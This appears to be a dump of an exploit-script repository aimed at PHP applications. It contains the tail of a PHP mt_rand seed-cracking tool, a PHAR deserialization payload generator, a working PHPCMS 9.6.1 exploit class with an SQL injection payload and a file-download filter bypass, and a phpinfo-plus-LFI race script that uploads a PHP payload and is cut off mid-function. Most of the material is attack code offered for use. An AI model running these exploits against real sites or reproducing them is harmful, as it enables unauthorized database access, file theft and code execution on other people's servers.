_mm_set1_epi32(x) _mm256_set1_epi32(x) 38 | #define _mm_add_epi32(x, y) _mm256_add_epi32(x, y) 39 | #define _mm_mullo_epi32(x, y) _mm256_mullo_epi32(x, y) 40 | #define _mm_slli_epi32(x, i) _mm256_slli_epi32(x, i) 41 | #define _mm_srli_epi32(x, i) _mm256_srli_epi32(x, i) 42 | #define _mm_and_si128(x, y) _mm256_and_si256(x, y) 43 | #define _mm_or_si128(x, y) _mm256_or_si256(x, y) 44 | #define _mm_xor_si128(x, y) _mm256_xor_si256(x, y) 45 | #define _mm_cmpeq_epi32(x, y) _mm256_cmpeq_epi32(x, y) 46 | #define _mm_testz_si128(x, y) _mm256_testz_si256(x, y) 47 | #warning AVX-512 not enabled. Try gcc -mavx512f (on Intel Knights Landing, Skylake-X, or some newer). 48 | #elif defined(__SSE2__) 49 | #include 50 | typedef __m128i vtype; 51 | #ifdef __XOP__ 52 | #include 53 | #else 54 | #ifdef __SSE4_1__ 55 | #include 56 | #else 57 | #ifdef __GNUC__ 58 | #define _mm_mullo_epi32(a, b) ({ \ 59 | __m128i _a = (a), _b = (b); \ 60 | _mm_unpacklo_epi32( \ 61 | _mm_shuffle_epi32(_mm_mul_epu32(_a, _b), 0x08), \ 62 | _mm_shuffle_epi32(_mm_mul_epu32(_mm_srli_epi64(_a, 32), \ 63 | _mm_srli_epi64(_b, 32)), 0x08)); \ 64 | }) 65 | #else 66 | #define _mm_mullo_epi32(a, b) \ 67 | _mm_unpacklo_epi32( \ 68 | _mm_shuffle_epi32(_mm_mul_epu32((a), (b)), 0x08), \ 69 | _mm_shuffle_epi32(_mm_mul_epu32(_mm_srli_epi64((a), 32), \ 70 | _mm_srli_epi64((b), 32)), 0x08)) 71 | #endif 72 | #warning SSE4.1 not enabled, will use only SSE2 doing only 2 multiplies per 4-element vector. Try gcc -msse4 (on capable CPUs). 73 | #endif 74 | #ifdef __AVX__ 75 | #warning XOP and AVX2 are not enabled. Try gcc -mxop (on AMD Bulldozer or some newer) or -mavx2 (on Intel Haswell, AMD Zen, or newer). 76 | #elif defined(__SSE4_1__) 77 | #warning AVX* and XOP are not enabled. Try gcc -mxop (on AMD Bulldozer or some newer), -mavx (on Intel Sandy Bridge or newer), or -mavx2 (on Intel Haswell, AMD Zen, or newer). 78 | #endif 79 | #endif 80 | #else 81 | #warning SSE2 not enabled, will use non-vectorized code. Try gcc -msse2 (on non-ancient x86 CPUs). 82 | #endif 83 | 84 | #if !defined(__XOP__) && !defined(_mm_macc_epi32) 85 | #define _mm_macc_epi32(x, y, z) \ 86 | _mm_add_epi32(_mm_mullo_epi32(x, y), z) 87 | #endif 88 | 89 | #ifndef _OPENMP 90 | #warning OpenMP not enabled, will only use one CPU core. Try gcc -fopenmp. 91 | #endif 92 | 93 | #define M 397 94 | #define N 624 95 | 96 | #define MATCH_PURE 1 97 | #define MATCH_FULL 2 98 | #define MATCH_SKIP 4 99 | #define MATCH_LAST 8 100 | 101 | typedef struct { 102 | uint32_t flags; 103 | int32_t mmin, mmax; 104 | int32_t rmin; 105 | uint32_t rspan; 106 | } match_t; 107 | 108 | typedef enum { 109 | PHP_LEGACY = 0, 110 | PHP_MODERN = 1, 111 | PHP_521 = 1, 112 | PHP_710 = 2 113 | } version_t; 114 | 115 | static const char *flavors[] = { 116 | "3.0.7 to 5.2.0", 117 | "5.2.1+" 118 | }; 119 | 120 | static const char *versions[] = { 121 | "3.0.7 to 5.2.0", 122 | "5.2.1 to 7.0.x; HHVM", 123 | "7.1.0+" 124 | }; 125 | 126 | #define NEXT_STATE(x, i) \ 127 | (x) = 1812433253U * ((x) ^ ((x) >> 30)) + (i); 128 | 129 | #if defined(__SSE2__) || defined(__MIC__) 130 | static inline int diff(uint32_t x, uint32_t xs, uint32_t seed, 131 | const match_t *match, version_t version) 132 | #else 133 | static inline int diff(uint32_t x, uint32_t x1, uint32_t xs, 134 | const match_t *match, version_t version) 135 | #endif 136 | { 137 | #if defined(__SSE2__) || defined(__MIC__) 138 | uint32_t xsi = seed; 139 | #else 140 | uint32_t xsi = x1; 141 | #endif 142 | unsigned int i = 1; 143 | 144 | while (1) { 145 | if (match->flags & MATCH_SKIP) { 146 | /* nothing */ 147 | } else 148 | if (match->flags & MATCH_PURE) { 149 | if (x != match->mmin) 150 | break; 151 | } else { 152 | int32_t xr; 153 | if (match->flags & MATCH_FULL) 154 | xr = x; 155 | else if (version != PHP_710) 156 | xr = match->rmin + 157 | (int32_t)((double)match->rspan * (x >> 1) / 158 | (0x7fffffff + 1.0)); 159 | else 160 | xr = match->rmin + x % match->rspan; 161 | if (xr < match->mmin || xr > match->mmax) 162 | break; 163 | } 164 | 165 | if (match->flags & MATCH_LAST) 166 | return 0; 167 | 168 | if (version == PHP_LEGACY) { 169 | #if defined(__SSE2__) || defined(__MIC__) 170 | if (i == 1) { 171 | xsi = (69069 * 2) * xsi + 69069; 172 | i = 0; 173 | } 174 | #endif 175 | do { 176 | x = xsi; 177 | xsi *= 69069; 178 | xs *= 69069; 179 | } while ((++match)->flags & MATCH_SKIP); 180 | } else { 181 | #if defined(__SSE2__) || defined(__MIC__) 182 | if (i == 1) 183 | NEXT_STATE(xsi, 1) 184 | #endif 185 | do { 186 | x = xsi; 187 | NEXT_STATE(xsi, i + 1) 188 | NEXT_STATE(xs, M + i) 189 | i++; 190 | } while ((++match)->flags & MATCH_SKIP); 191 | } 192 | 193 | x = (((x & 0x80000000) | (xsi & 0x7fffffff)) >> 1) ^ xs ^ 194 | ((((version == PHP_521) ? x : xsi) & 1) * 0x9908b0df); 195 | x ^= x >> 11; 196 | x ^= (x << 7) & 0x9d2c5680; 197 | x ^= (x << 15) & 0xefc60000; 198 | x ^= x >> 18; 199 | 200 | if (match->flags & MATCH_FULL) 201 | x >>= 1; 202 | } 203 | 204 | return -1; 205 | } 206 | 207 | static void print_guess(uint32_t seed, uint64_t *found, version_t version) 208 | { 209 | if (version == PHP_LEGACY) 210 | seed <<= 1; 211 | 212 | #ifdef _OPENMP 213 | #pragma omp critical 214 | #endif 215 | do { 216 | if (!*found) 217 | putc('\n', stderr); 218 | printf("seed = 0x%08x = %u (PHP %s)\n", 219 | seed, seed, versions[version]); 220 | (*found)++; 221 | } while (version == PHP_LEGACY && !(seed++ & 1)); 222 | } 223 | 224 | #if defined(__SSE2__) || defined(__MIC__) 225 | #define COMPARE(x, xM, seed) \ 226 | if (!diff((x), (xM), (seed), match, version)) \ 227 | print_guess((seed), &found, version); 228 | #else 229 | #define COMPARE(x, x1, xM, seed) \ 230 | if (!diff((x), (x1), (xM), match, version)) \ 231 | print_guess((seed), &found, version); 232 | #endif 233 | 234 | #if defined(__MIC__) || defined(__AVX512F__) 235 | #define P 7 236 | #elif defined(__AVX2__) 237 | #define P 6 238 | #else 239 | #define P 5 240 | #endif 241 | 242 | static uint64_t crack_range(int32_t start, int32_t end, 243 | const match_t *match, version_t flavor) 244 | { 245 | uint64_t found = 0; 246 | int32_t base; /* signed type for OpenMP 2.5 compatibility */ 247 | #if defined(__SSE4_1__) || defined(__MIC__) 248 | vtype vvalue = _mm_set1_epi32(match->mmin); 249 | #endif 250 | #if defined(__SSE2__) || defined(__MIC__) 251 | vtype seed_and_0x80000000, seed_shr_30; 252 | #else 253 | uint32_t seed_and_0x80000000, seed_shr_30; 254 | #endif 255 | 256 | assert((start >> (30 - P)) == ((end - 1) >> (30 - P))); 257 | 258 | { 259 | uint32_t seed = (uint32_t)start << (P + (flavor == PHP_LEGACY)); 260 | #if defined(__SSE2__) || defined(__MIC__) 261 | vtype vseed = _mm_set1_epi32(seed); 262 | const vtype c0x80000000 = _mm_set1_epi32(0x80000000); 263 | seed_and_0x80000000 = _mm_and_si128(vseed, c0x80000000); 264 | seed_shr_30 = _mm_srli_epi32(vseed, 30); 265 | #else 266 | seed_and_0x80000000 = seed & 0x80000000; 267 | seed_shr_30 = seed >> 30; 268 | #endif 269 | } 270 | 271 | #ifdef _OPENMP 272 | #if defined(__SSE4_1__) || defined(__MIC__) 273 | #pragma omp parallel for default(none) private(base) shared(match, flavor, start, end, found, seed_and_0x80000000, seed_shr_30, vvalue) 274 | #elif defined(__SSE2__) 275 | #pragma omp parallel for default(none) private(base) shared(match, flavor, start, end, found, seed_and_0x80000000, seed_shr_30) 276 | #else 277 | #pragma omp parallel for default(none) private(base) shared(match, flavor, start, end, found, seed_and_0x80000000, seed_shr_30) 278 | #endif 279 | #endif 280 | for (base = start; base < end; base++) { 281 | uint32_t seed = (uint32_t)base << P; 282 | #if defined(__SSE2__) || defined(__MIC__) 283 | typedef struct { 284 | vtype a, b, c, d, e, f, g, h; 285 | } atype; 286 | atype xM, x = {}, x710 = {}; 287 | /* Hint to compiler not to waste registers */ 288 | volatile atype x1; 289 | const vtype cone = _mm_set1_epi32(1); 290 | vtype vseed = _mm_set1_epi32(seed); 291 | version_t version; 292 | 293 | #define DO(which, add) \ 294 | xM.which = _mm_add_epi32(xM.a, _mm_set1_epi32(add)); 295 | #if defined(__MIC__) || defined(__AVX512F__) 296 | xM.a = _mm512_add_epi32(vseed, _mm512_set_epi32( 297 | 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30)); 298 | DO(b, 1) DO(c, 32) DO(d, 33) 299 | DO(e, 64) DO(f, 65) DO(g, 96) DO(h, 97) 300 | #elif defined(__AVX2__) 301 | xM.a = _mm256_add_epi32(vseed, _mm256_set_epi32( 302 | 0, 2, 4, 6, 8, 10, 12, 14)); 303 | DO(b, 1) DO(c, 16) DO(d, 17) 304 | DO(e, 32) DO(f, 33) DO(g, 48) DO(h, 49) 305 | #else 306 | xM.a = _mm_add_epi32(vseed, _mm_set_epi32(0, 2, 4, 6)); 307 | DO(b, 1) DO(c, 8) DO(d, 9) 308 | DO(e, 16) DO(f, 17) DO(g, 24) DO(h, 25) 309 | #endif 310 | #undef DO 311 | 312 | #define DO_ALL \ 313 | DO(x.a, x1.a, xM.a) \ 314 | DO(x.b, x1.b, xM.b) \ 315 | DO(x.c, x1.c, xM.c) \ 316 | DO(x.d, x1.d, xM.d) \ 317 | DO(x.e, x1.e, xM.e) \ 318 | DO(x.f, x1.f, xM.f) \ 319 | DO(x.g, x1.g, xM.g) \ 320 | DO(x.h, x1.h, xM.h) 321 | 322 | if (flavor == PHP_LEGACY) { 323 | const vtype c69069 = _mm_set1_epi32(69069); 324 | const vtype c69069to396 = _mm_set1_epi32(0x4396a0b1); 325 | 326 | #define DO(x, x1, xM) \ 327 | xM = _mm_add_epi32(_mm_add_epi32(xM, xM), cone); \ 328 | x1 = xM = _mm_mullo_epi32(c69069, xM); \ 329 | xM = _mm_mullo_epi32(c69069to396, xM); 330 | DO_ALL 331 | #undef DO 332 | } else { 333 | const vtype cmul = _mm_set1_epi32(1812433253U); 334 | vtype vi = _mm_add_epi32(cone, cone); 335 | unsigned int n = (M - 1) / 22; 336 | 337 | #define DO(x, x1, xM) \ 338 | x1 = xM = _mm_macc_epi32(cmul, _mm_xor_si128(xM, seed_shr_30), cone); 339 | DO_ALL 340 | #undef DO 341 | 342 | do { 343 | #define DO(x, x1, xM) \ 344 | xM = _mm_macc_epi32(cmul, _mm_xor_si128(xM, _mm_srli_epi32(xM, 30)), vi); 345 | #define DO_ALLI \ 346 | DO_ALL \ 347 | vi = _mm_add_epi32(vi, cone); 348 | DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI 349 | DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI 350 | DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI DO_ALLI 351 | DO_ALLI DO_ALLI DO_ALLI DO_ALLI 352 | #undef DO_ALLI 353 | #undef DO 354 | } while (--n); 355 | } 356 | 357 | version = flavor; 358 | 359 | if (!(match->flags & MATCH_SKIP)) { 360 | const vtype c0x7fffffff = _mm_set1_epi32(0x7fffffff); 361 | const vtype c0x9908b0df = _mm_set1_epi32(0x9908b0df); 362 | 363 | #define DO(x, x1, xM) \ 364 | x = _mm_xor_si128(xM, _mm_srli_epi32(_mm_or_si128(seed_and_0x80000000, \ 365 | _mm_and_si128(x1, c0x7fffffff)), 1)); 366 | DO_ALL 367 | #undef DO 368 | 369 | #define DO(xout, xin, x1) \ 370 | xout = _mm_xor_si128(xin, _mm_mullo_epi32(c0x9908b0df, \ 371 | _mm_and_si128(x1, cone))); 372 | DO(x710.a, x.a, x1.a) 373 | DO(x710.b, x.b, x1.b) 374 | DO(x710.c, x.c, x1.c) 375 | DO(x710.d, x.d, x1.d) 376 | DO(x710.e, x.e, x1.e) 377 | DO(x710.f, x.f, x1.f) 378 | DO(x710.g, x.g, x1.g) 379 | DO(x710.h, x.h, x1.h) 380 | #undef DO 381 | 382 | if (version == PHP_521) { 383 | #define DO(x) \ 384 | x = _mm_xor_si128(x, c0x9908b0df); 385 | DO(x.b) 386 | DO(x.d) 387 | DO(x.f) 388 | DO(x.h) 389 | #undef DO 390 | } else 391 | x = x710; 392 | } 393 | 394 | do { 395 | uint32_t maybe = 1; 396 | 397 | if (!(match->flags & MATCH_SKIP)) { 398 | const vtype c0x9d2c5680 = _mm_set1_epi32(0x9d2c5680); 399 | const vtype c0xefc60000 = _mm_set1_epi32(0xefc60000); 400 | 401 | #define DO(x, x1, xM) \ 402 | x = _mm_xor_si128(x, _mm_srli_epi32(x, 11)); 403 | DO_ALL 404 | #undef DO 405 | 406 | #define DO_SC(x, s, c) \ 407 | x = _mm_xor_si128(x, _mm_and_si128(_mm_slli_epi32(x, s), c)); 408 | #define DO(x, x1, xM) \ 409 | DO_SC(x, 7, c0x9d2c5680) \ 410 | DO_SC(x, 15, c0xefc60000) 411 | DO_ALL 412 | #undef DO 413 | #undef DO_SC 414 | 415 | #define DO(x, x1, xM) \ 416 | x = _mm_xor_si128(x, _mm_srli_epi32(x, 18)); 417 | DO_ALL 418 | #undef DO 419 | 420 | if (match->flags & MATCH_FULL) { 421 | #define DO(x, x1, xM) \ 422 | x = _mm_srli_epi32(x, 1); 423 | DO_ALL 424 | #undef DO 425 | } 426 | } 427 | 428 | #if defined(__SSE4_1__) || defined(__MIC__) 429 | if (match->flags & MATCH_PURE) { 430 | #if defined(__MIC__) || defined(__AVX512F__) 431 | maybe = _mm512_cmpeq_epi32_mask(x.a, vvalue) | 432 | _mm512_cmpeq_epi32_mask(x.b, vvalue) | 433 | _mm512_cmpeq_epi32_mask(x.c, vvalue) | 434 | _mm512_cmpeq_epi32_mask(x.d, vvalue) | 435 | _mm512_cmpeq_epi32_mask(x.e, vvalue) | 436 | _mm512_cmpeq_epi32_mask(x.f, vvalue) | 437 | _mm512_cmpeq_epi32_mask(x.g, vvalue) | 438 | _mm512_cmpeq_epi32_mask(x.h, vvalue); 439 | #else 440 | vtype amask = _mm_cmpeq_epi32(x.a, vvalue); 441 | vtype bmask = _mm_cmpeq_epi32(x.b, vvalue); 442 | vtype cmask = _mm_cmpeq_epi32(x.c, vvalue); 443 | vtype dmask = _mm_cmpeq_epi32(x.d, vvalue); 444 | vtype emask = _mm_cmpeq_epi32(x.e, vvalue); 445 | vtype fmask = _mm_cmpeq_epi32(x.f, vvalue); 446 | vtype gmask = _mm_cmpeq_epi32(x.g, vvalue); 447 | vtype hmask = _mm_cmpeq_epi32(x.h, vvalue); 448 | maybe = !(_mm_testz_si128(amask, amask) && 449 | _mm_testz_si128(bmask, bmask) && 450 | _mm_testz_si128(cmask, cmask) && 451 | _mm_testz_si128(dmask, dmask) && 452 | _mm_testz_si128(emask, emask) && 453 | _mm_testz_si128(fmask, fmask) && 454 | _mm_testz_si128(gmask, gmask) && 455 | _mm_testz_si128(hmask, hmask)); 456 | #endif 457 | } 458 | #endif 459 | 460 | if (maybe) { 461 | unsigned int i; 462 | uint32_t iseed; 463 | typedef union { 464 | atype v; 465 | uint32_t s[8][sizeof(vtype) / 4]; 466 | } utype; 467 | utype u; 468 | /* Hint to compiler not to waste registers */ 469 | volatile utype uM; 470 | u.v = x; 471 | uM.v = xM; 472 | #if defined(__MIC__) || defined(__AVX512F__) 473 | for (i = 0, iseed = seed; i < 8; i++, iseed += 32) { 474 | unsigned int j, k; 475 | for (j = 0, k = 30; j < 16; j++, k -= 2) { 476 | COMPARE(u.s[i][j], uM.s[i][j], 477 | iseed + k) 478 | } 479 | i++; 480 | for (j = 0, k = 31; j < 16; j++, k -= 2) { 481 | COMPARE(u.s[i][j], uM.s[i][j], 482 | iseed + k) 483 | } 484 | } 485 | #elif defined(__AVX2__) 486 | for (i = 0, iseed = seed; i < 8; i++, iseed += 16) { 487 | unsigned int j, k; 488 | for (j = 0, k = 14; j < 8; j++, k -= 2) { 489 | COMPARE(u.s[i][j], uM.s[i][j], 490 | iseed + k) 491 | } 492 | i++; 493 | for (j = 0, k = 15; j < 8; j++, k -= 2) { 494 | COMPARE(u.s[i][j], uM.s[i][j], 495 | iseed + k) 496 | } 497 | } 498 | #else 499 | for (i = 0, iseed = seed; i < 8; i++, iseed += 8) { 500 | COMPARE(u.s[i][0], uM.s[i][0], iseed + 6) 501 | COMPARE(u.s[i][1], uM.s[i][1], iseed + 4) 502 | COMPARE(u.s[i][2], uM.s[i][2], iseed + 2) 503 | COMPARE(u.s[i][3], uM.s[i][3], iseed) 504 | i++; 505 | COMPARE(u.s[i][0], uM.s[i][0], iseed + 7) 506 | COMPARE(u.s[i][1], uM.s[i][1], iseed + 5) 507 | COMPARE(u.s[i][2], uM.s[i][2], iseed + 3) 508 | COMPARE(u.s[i][3], uM.s[i][3], iseed + 1) 509 | } 510 | #endif 511 | /* Hint to compiler not to spill xM above */ 512 | xM = uM.v; 513 | } 514 | 515 | if (version != PHP_521) 516 | break; 517 | version = PHP_710; 518 | x = x710; 519 | } while (1); 520 | #else 521 | typedef struct { 522 | uint32_t a, b, c, d; 523 | } atype; 524 | atype x = {}, x710 = {}; 525 | do { 526 | atype x1, xM; 527 | version_t version; 528 | unsigned int i; 529 | 530 | xM.a = seed; 531 | xM.b = seed + 1; 532 | xM.c = seed + 2; 533 | xM.d = seed + 3; 534 | 535 | #define DO_ALL \ 536 | DO(x.a, x1.a, xM.a) \ 537 | DO(x.b, x1.b, xM.b) \ 538 | DO(x.c, x1.c, xM.c) \ 539 | DO(x.d, x1.d, xM.d) 540 | 541 | if (flavor == PHP_LEGACY) { 542 | #define DO(x, x1, xM) \ 543 | xM += xM + 1; \ 544 | x1 = xM *= 69069; \ 545 | xM *= 0x4396a0b1; 546 | DO_ALL 547 | #undef DO 548 | } else { 549 | #define DO(x, x1, xM) \ 550 | x1 = xM = 1812433253U * (xM ^ seed_shr_30) + 1; 551 | DO_ALL 552 | #undef DO 553 | 554 | for (i = 2; i <= M; i++) { 555 | #define DO(x, x1, xM) \ 556 | NEXT_STATE(xM, i) 557 | DO_ALL 558 | #undef DO 559 | } 560 | } 561 | 562 | version = flavor; 563 | 564 | if (!(match->flags & MATCH_SKIP)) { 565 | #define DO(x, x1, xM) \ 566 | x = ((seed_and_0x80000000 | (x1 & 0x7fffffff)) >> 1) ^ xM; 567 | DO_ALL 568 | #undef DO 569 | 570 | #define DO(xout, xin, x1) \ 571 | xout = xin ^ ((x1 & 1) * 0x9908b0df); 572 | DO(x710.a, x.a, x1.a) 573 | DO(x710.b, x.b, x1.b) 574 | DO(x710.c, x.c, x1.c) 575 | DO(x710.d, x.d, x1.d) 576 | #undef DO 577 | 578 | if (version == PHP_521) { 579 | x.b ^= 0x9908b0df; 580 | x.d ^= 0x9908b0df; 581 | } else 582 | x = x710; 583 | } 584 | 585 | do { 586 | if (!(match->flags & MATCH_SKIP)) { 587 | #define DO(x, x1, xM) \ 588 | x ^= x >> 11; \ 589 | x ^= (x << 7) & 0x9d2c5680; \ 590 | x ^= (x << 15) & 0xefc60000; \ 591 | x ^= x >> 18; 592 | DO_ALL 593 | #undef DO 594 | 595 | if (match->flags & MATCH_FULL) { 596 | #define DO(x, x1, xM) \ 597 | x >>= 1; 598 | DO_ALL 599 | #undef DO 600 | } 601 | } 602 | 603 | COMPARE(x.a, x1.a, xM.a, seed) 604 | COMPARE(x.b, x1.b, xM.b, seed + 1) 605 | COMPARE(x.c, x1.c, xM.c, seed + 2) 606 | COMPARE(x.d, x1.d, xM.d, seed + 3) 607 | 608 | if (version != PHP_521) 609 | break; 610 | version = PHP_710; 611 | x = x710; 612 | } while (1); 613 | 614 | seed += 4; 615 | } while (seed & ((1 << P) - 1)); 616 | #endif 617 | } 618 | 619 | return found; 620 | } 621 | 622 | static uint64_t crack(const match_t *match) 623 | { 624 | uint64_t found = 0, recent = 0; 625 | uint32_t base, top; 626 | #if defined(__MIC__) || defined(__AVX512F__) 627 | const uint32_t step = 0x10000000 >> P; 628 | #else 629 | const uint32_t step = 0x2000000 >> P; 630 | #endif 631 | version_t flavor; 632 | long clk_tck; 633 | clock_t start_time; 634 | struct tms tms; 635 | 636 | flavor = PHP_LEGACY; 637 | do { 638 | unsigned int shift = (flavor == PHP_LEGACY); 639 | 640 | fprintf(stderr, "Version: %s\n", flavors[flavor]); 641 | 642 | clk_tck = sysconf(_SC_CLK_TCK); 643 | start_time = times(&tms); 644 | 645 | top = 0x40000000 >> (P - 2 + shift); 646 | for (base = 0; base < top; base += step) { 647 | uint32_t start = base << (P + shift); 648 | uint32_t next = (base + step) << (P + shift); 649 | clock_t running_time = times(&tms) - start_time; 650 | fprintf(stderr, 651 | "\rFound %llu, trying 0x%08x - 0x%08x, " 652 | "speed %.1f Mseeds/s ", 653 | (unsigned long long)found, start, next - 1, 654 | (double)start * clk_tck / 655 | (running_time ? running_time * 1e6 : 1e6)); 656 | 657 | recent = crack_range(base, base + step, match, flavor); 658 | found += recent; 659 | } 660 | 661 | if (flavor == PHP_MODERN) 662 | break; 663 | flavor = PHP_MODERN; 664 | if (!recent) 665 | putc('\n', stderr); 666 | } while (1); 667 | 668 | return found; 669 | } 670 | 671 | #undef P 672 | 673 | static int32_t parse_int(const char *s) 674 | { 675 | unsigned long ulvalue; 676 | uint32_t uvalue; 677 | char *error; 678 | 679 | errno = 0; 680 | uvalue = ulvalue = strtoul(s, &error, 10); 681 | if (!errno && !*error && 682 | *s >= '0' && *s <= '9' && 683 | uvalue == ulvalue && uvalue <= 0x7fffffff) 684 | return uvalue; 685 | 686 | return -1; 687 | } 688 | 689 | static void parse(int argc, char **argv, match_t *match, unsigned int nmatch) 690 | { 691 | const char *prog = argv[0] ? argv[0] : "php_mt_seed"; 692 | int ok = 0; 693 | match_t *first = match, *last = match; 694 | 695 | argc--; 696 | argv++; 697 | 698 | while (nmatch && argc > 0) { 699 | int32_t value = parse_int(argv[0]); 700 | ok = value >= 0; 701 | 702 | match->flags = MATCH_PURE | MATCH_FULL; 703 | match->mmin = match->mmax = value; 704 | match->rmin = 0; match->rspan = 0x80000000U; 705 | 706 | if (argc >= 2) { 707 | value = parse_int(argv[1]); 708 | ok &= value >= match->mmin; 709 | if (value != match->mmin) 710 | match->flags &= ~MATCH_PURE; 711 | match->mmax = value; 712 | } 713 | 714 | if (argc == 3) { 715 | ok = 0; 716 | break; 717 | } 718 | 719 | if (argc >= 4) { 720 | value = parse_int(argv[2]); 721 | ok &= value >= 0 && value <= match->mmax; 722 | if (value != 0) 723 | match->flags &= ~(MATCH_PURE | MATCH_FULL); 724 | match->rmin = value; 725 | 726 | value = parse_int(argv[3]); 727 | ok &= value >= match->rmin && value >= match->mmin; 728 | if (value != 0x7fffffff) 729 | match->flags &= ~(MATCH_PURE | MATCH_FULL); 730 | if (match->mmin == match->rmin && 731 | match->mmax == value) 732 | match->flags |= MATCH_SKIP; 733 | match->rspan = (uint32_t)value - match->rmin + 1; 734 | } 735 | 736 | if (!(match->flags & MATCH_SKIP)) 737 | last = match; 738 | 739 | nmatch--; 740 | match++; 741 | if (!ok) 742 | break; 743 | if (argc <= 4) { 744 | argc = 0; 745 | break; 746 | } 747 | argc -= 4; 748 | argv += 4; 749 | } 750 | 751 | if (!ok || (!nmatch && argc > 0) || (last->flags & MATCH_SKIP)) { 752 | printf("Usage: %s VALUE_OR_MATCH_MIN" 753 | " [MATCH_MAX [RANGE_MIN RANGE_MAX]] ...\n", prog); 754 | exit(1); 755 | } 756 | 757 | last->flags |= MATCH_LAST; 758 | 759 | printf("Pattern:"); 760 | match = first; 761 | do { 762 | if (match->flags & MATCH_SKIP) 763 | printf(" SKIP"); 764 | else if (match->flags & MATCH_PURE) 765 | printf(" EXACT"); 766 | else if (match->flags & MATCH_FULL) 767 | printf(" RANGE"); 768 | else if (match->mmin == match->mmax) 769 | printf(" EXACT-FROM-%u", match->rspan); 770 | else 771 | printf(" RANGE-FROM-%u", match->rspan); 772 | } while (match++ != last); 773 | putchar('\n'); 774 | } 775 | 776 | int main(int argc, char **argv) 777 | { 778 | match_t match[N - M]; 779 | 780 | parse(argc, argv, match, sizeof(match) / sizeof(match[0])); 781 | 782 | printf("\nFound %llu\n", (unsigned long long)crack(match)); 783 | 784 | return 0; 785 | } 786 | -------------------------------------------------------------------------------- /phar/1.phar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/phar/1.phar -------------------------------------------------------------------------------- /phar/gen_phar.php: -------------------------------------------------------------------------------- 1 | startBuffering(); 8 | $phar->setStub(""); //设置stub 9 | $o = new TestObject(); 10 | $phar->setMetadata($o); //将自定义的meta-data存入manifest 11 | $phar->addFromString("test", "test"); //添加要压缩的文件 12 | //签名自动计算 13 | $phar->stopBuffering(); -------------------------------------------------------------------------------- /phpcms/phpcms-9.6.1.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: King kaki 3 | # @Date: 2018-07-08 16:08:31 4 | # @Last Modified by: King kaki 5 | # @Last Modified time: 2018-07-14 12:21:34 6 | import requests 7 | import re 8 | 9 | class PHPCMS(): 10 | def __init__(self, url): 11 | self.url = self._genurl(url) 12 | 13 | 14 | def _genurl(self, url): 15 | url = url.strip() 16 | if not url.startswith('http'): 17 | url = 'http://'+url 18 | if url.endswith('/'): 19 | return url 20 | else: 21 | return url+'/' 22 | 23 | def _getuserid(self): 24 | url = self.url + 'index.php?m=wap' 25 | r = requests.get(url) 26 | 27 | return r.headers['Set-Cookie'][13:] 28 | 29 | def get_auth(self, payload): 30 | url = self.url+'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1' 31 | userid = self._getuserid() 32 | 33 | r = requests.post(url,params={'src':payload} , data={'userid_flash': userid}) 34 | 35 | for x, y in re.findall(r'([^;, ]+)=([^;, ]+)', r.headers['Set-Cookie']): 36 | if 'att_json' in x: 37 | return y 38 | return False 39 | 40 | def sqli(self): 41 | url = self.url+'index.php?m=content&c=down' 42 | payload = "&id=%2*7and updatexml(1,concat(1,(database())),1)#&m=1&modelid=1&catid=1&f=1" 43 | a_k = self.get_auth(payload) 44 | 45 | r = requests.get(url, params={'a_k': a_k}) 46 | # print(r.text) 47 | print(re.findall(r"XPATH syntax error: '(.+?)'", r.text)) 48 | 49 | def filedown(self, filename): 50 | url = self.url + 'index.php?m=content&c=down&a=init' 51 | payload = r'pad=x&i=1&modelid=1&catid=1&d=1&m=1&s={}&f=.p%253chp'.format(filename) 52 | a_k = self.get_auth(payload) 53 | 54 | r = requests.get(url, params={'a_k': a_k}) 55 | print(r.text) 56 | 57 | match = re.search(r'')?>\r""".format(tag) 15 | 16 | UPLOAD="""-----------------------------7dbff1ded0714\r 17 | Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r 18 | Content-Type: text/plain\r 19 | \r 20 | {} 21 | -----------------------------7dbff1ded0714--\r""".format(PAYLOAD) 22 | 23 | padding="A" * 5000 24 | 25 | INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r 26 | Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r 27 | HTTP_ACCEPT: {padding}\r 28 | HTTP_USER_AGENT: {padding}\r 29 | HTTP_ACCEPT_LANGUAGE: {padding}\r 30 | HTTP_PRAGMA: {padding}\r 31 | Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r 32 | Content-Length: {len}\r 33 | Host: %s\r 34 | \r 35 | {upload}""".format(padding=padding, len=len(UPLOAD), upload=UPLOAD) 36 | 37 | LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r 38 | User-Agent: Mozilla/4.0\r 39 | Proxy-Connection: Keep-Alive\r 40 | Host: %s\r 41 | \r 42 | \r 43 | """ 44 | 45 | class PHPINFO_LFI(): 46 | def __init__(self, host, port): 47 | self.host = host 48 | self.port = int(port) 49 | self.req_payload= (INFOREQ % self.host).encode('utf-8') 50 | self.lfireq = LFIREQ 51 | self.offset = self.get_offfset() 52 | 53 | 54 | def get_offfset(self): 55 | ''' 56 | 获取tmp名字的offset 57 | ''' 58 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 59 | s.connect((self.host, self.port)) 60 | 61 | s.send(self.req_payload) 62 | page = b"" 63 | while True: 64 | i = s.recv(4096) 65 | page+=i 66 | if i == "": 67 | break 68 | 69 | if i.decode('utf8').endswith("0\r\n\r\n"): 70 | break 71 | s.close() 72 | 73 | pos = page.decode('utf8').find("[tmp_name] => ") 74 | print('get the offset :{} '.format(pos)) 75 | 76 | if pos == -1: 77 | raise ValueError("No php tmp_name in phpinfo output") 78 | 79 | return pos+256 #多加一些字节 80 | 81 | def phpinfo_lfi(self): 82 | ''' 83 | 同时发送phpinfo请求与lfi请求 84 | ''' 85 | phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 86 | lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 87 | 88 | phpinfo.connect((self.host, self.port)) 89 | 